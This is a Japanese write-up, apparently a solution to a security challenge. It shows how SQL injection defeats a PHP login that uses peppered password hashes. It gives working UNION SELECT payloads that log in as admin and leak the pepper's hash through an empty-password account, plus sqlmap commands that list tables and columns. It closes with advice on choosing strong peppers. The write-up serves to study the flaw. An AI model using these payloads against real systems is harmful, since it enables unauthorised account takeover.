この問題を考えてみました。
テーブル構造が分かっている場合
この場合は比較的簡単です。
まず、ID: hoge / Password: hoge でユーザー登録します。
次に下記でログインします。
UserID: ' UNION SELECT 42, 'hacked', (select password from users where userid='hoge'), 42 --
Password: hoge
ログイン成功:hacked
ログイン成功後に2列目の内容が表示されています。
これを使ってadminのユーザー番号(プライマリキー)を特定します。
UserID: ' UNION SELECT 42, (select id from users where userid='admin'), (select password from users where userid='hoge'), 42 --
Password: hoge
ログイン成功:1
adminのユーザー番号は1だと分かりました。
UserID: ' UNION SELECT 1, 'admin', (select password from users where userid='hoge'), 42 --
Password: hoge
ログイン成功:admin
こんにちはadminさん
メールアドレス:admin@example.jp
adminでログインできました。
ペッパーの値はもちろん、ハッシュ値も不明のままログインできてしまいました。
テーブル構造が分かっている場合 (別解)
(2023/09/22 10:47追記)
別のアプローチを思いつきました。
今回の実装ではパスワードの後ろにペッパーが連結されるので、空のパスワードのアカウントを作成することで、ペッパー自体のハッシュ値を漏洩できます。
ID: blank / Password: (空文字) でユーザー登録しておきます。
下記のようにログインします。
UserID: ' UNION SELECT 42, (select password from users where userid='blank'), (select password from users where userid='blank'), 42 --
Password: (空文字)
ログイン成功:$2y$10$ThbjjUIVCjV4CfCBug98peQEGaf8.WDXjD1DhFUnWRyyUYaUxavpG
(ペッパーはランダム生成されるので環境によって異なります)
続いて空のパスワードでログイン試行すれば、内部では(空文字列 + ペッパー)のハッシュ値、すなわちペッパー自体のハッシュ値が計算されます。
そのハッシュ値と先ほど取得したハッシュ値を比較させると一致するので、ログインに成功できます。
つまり、下記のようにします。
UserID: ' UNION SELECT 1, 'admin', '$2y$10$ThbjjUIVCjV4CfCBug98peQEGaf8.WDXjD1DhFUnWRyyUYaUxavpG', 42 --
Password: (空文字)
これでログイン成功です。
ログイン成功:admin
こんにちはadminさん
メールアドレス:admin@example.jp
「パスワードの後ろにペッパーが連結される」という内部情報を利用しましたが、珍しくない実装のようなので、この仮定で試しに攻撃される可能性は十分あり得そうです。
テーブル構造を漏洩する
(2023/09/21 17:50追記)
UserIDに'を入れると下記のエラーが出るので、このフィールドに脆弱性があることが分かります。
エラー:SQLSTATE[HY000]: General error: 1 unrecognized token: "'''"
そこでsqlmapを試してみると、テーブル名が特定できました。
(sqliteを指定していますが、メジャーなDBを一通り試せばよいでしょう)
$ python sqlmap.py -u http://php/login.php -p userid --method POST --data "userid=hoge&password=hoge" --tables --batch --level 2 --dbms=sqlite
同様にカラム名も判明します。
$ python sqlmap.py -u http://php/login.php -p userid --method POST --data "userid=hoge&password=hoge" --tables --batch --level 2 -T users --columns
あとは前述の方法でadminでログインできます。
どうやらBlind SQL Injectionを自動で行ったようです。原理は分かっているつもりなのですが、sqlmapが使ったペイロードの内容は理解できていないです…
補足
今回はペッパーのハッシュ値を漏洩させる攻撃が可能でした。
もしペッパーが短かったり辞書攻撃に弱い文字列だと、このハッシュ値からペッパーを復元される可能性もあります。
ペッパーは十分長いランダムな文字列にするべきです。
空のパスワードが設定できず、文字数・文字種に制限がある場合でも同様です。
パスワードは任意に設定できますので、
ペッパーがパスワードの後ろに連結されることが分かっていれば、
(設定したパスワード + 不明な文字列)を探索することでペッパーの復元攻撃が可能です。

